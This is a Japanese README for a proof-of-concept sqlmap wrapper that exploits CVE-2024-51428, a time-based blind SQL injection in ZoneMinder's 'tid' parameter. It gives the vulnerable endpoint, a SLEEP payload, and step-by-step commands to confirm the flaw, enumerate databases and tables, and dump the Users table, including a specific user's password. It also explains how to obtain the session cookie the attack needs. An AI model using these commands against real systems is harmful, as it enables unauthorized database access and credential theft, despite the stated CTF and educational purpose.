CVE-2024-51428 - ZoneMinder ブラインドSQLインジェクション PoC

ZoneMinder の CVE-2024-51428 を悪用するための sqlmap の Python ラッパーです。
このツールは、ブラインドSQLインジェクション 脆弱性の検出と悪用を自動化し、出力をクリーンにして有用なデータに集中させます。

スクリプトは sqlmap のログを非表示にし、以下のような関連情報のみを表示します。

• 検出されたインジェクションポイント
• データベース名
• テーブル
• ダンプされた資格情報や機密データ

これにより、CTF環境、デモ、セキュリティテスト に最適なツールとなっています。

---

脆弱性の概要

CVE: CVE-2024-51428
タイプ: ブラインドSQLインジェクション
影響を受けるソフトウェア: ZoneMinder
攻撃ベクトル: HTTP GET パラメータ
パラメータ: tid

脆弱性は以下のエンドポイントに存在します：

/zm/index.php?view=request&request=event&action=removetag&tid=

tid パラメータはデータベースクエリで使用される前に適切にサニタイズされていないため、攻撃者がSQLクエリを注入することが可能です。

使用される悪用手法は 時間ベースのブラインドSQLインジェクション です。

sqlmap によって発見されたペイロードの例：

tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)

このペイロードは、クエリが正常に実行された場合にデータベースをスリープさせ、SQLインジェクションの存在を確認します。

---

機能

• 自動 ブラインドSQLインジェクション検出
• データベースの列挙
• テーブルの列挙
• テーブルのダンプ
• カラムのフィルタリング
• 行のフィルタリング
• クリーンな出力（sqlmapログ非表示）
• CTFおよびペネトレーションテストラボ向けに設計

---

必要条件

• Python 3
• sqlmap

必要に応じて sqlmap をインストール：

sudo apt install sqlmap

---

使用方法

基本構文：

python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'

このコマンドで脆弱性の有無を確認します

例：

python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'

---

必要なCookieの取得

このエクスプロイトには有効な ZoneMinder セッション Cookie が必要です。

手順：

1. ブラウザでターゲットを開く
2. 開発者ツールを開く
3. 以下に移動：

Application → Cookies

4. 次の名前のCookieを見つける：

ZMSESSID

5. その値をコピーして -c で使用する

例：

-c '151fvdqmjkhnkfat7l5epgmd22'

---

ターゲットが脆弱かどうかの確認

python3 poc.py --url http://target.htb -c 'COOKIE'

出力例：

[*] Checking vulnerability...

Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))

[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION

---

データベースの列挙

python3 poc.py --url http://target.htb -c 'COOKIE' -d

出力例：

available databases [3]:
information_schema
mysql
zm

---

テーブルの列挙

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm

出力例：

Database: zm

Users
Events
Monitors
Storage

---

テーブルのダンプ

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users

---

特定のカラムのダンプ

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username

例：

+----------+
| Username |
+----------+
| admin    |
| viewer   |
+----------+

---

行のフィルタリング（WHERE句）

以下のように行をフィルタリングできます：

-ff <COLUMN> <VALUE>

例：

python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark

同等のSQL：

WHERE Username='mark'

---

特定のユーザーのパスワードをダンプ

例：

python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark

内部のsqlmapコマンド：

sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump

---

ツールの仕組み

スクリプトは sqlmap のラッパーとして機能します。

内部で実行される手順：

1. 脆弱なエンドポイントを構築

/zm/index.php?view=request&request=event&action=removetag&tid=1

2. 認証Cookieを sqlmap に渡す
3. 最適化されたオプションで sqlmap を実行：

--threads=10
--technique=T
--batch

4. sqlmap の出力をリアルタイムで解析
5. ログを除外し、以下のみを表示：

• インジェクション情報
• データベース
• テーブル
• ダンプされたデータ

---

使用目的

このツールは以下の目的で作成されました：

• Capture The Flag チャレンジ
• セキュリティ研究
• 教育目的
• ペネトレーションテストラボ

---

免責事項

このプロジェクトは教育および許可されたセキュリティテスト目的でのみ提供されます。

作者はこのツールの誤用について一切の責任を負いません。

システムをテストする前に必ず適切な許可を得てください。

---

著者

セキュリティ研究 / CTFツール開発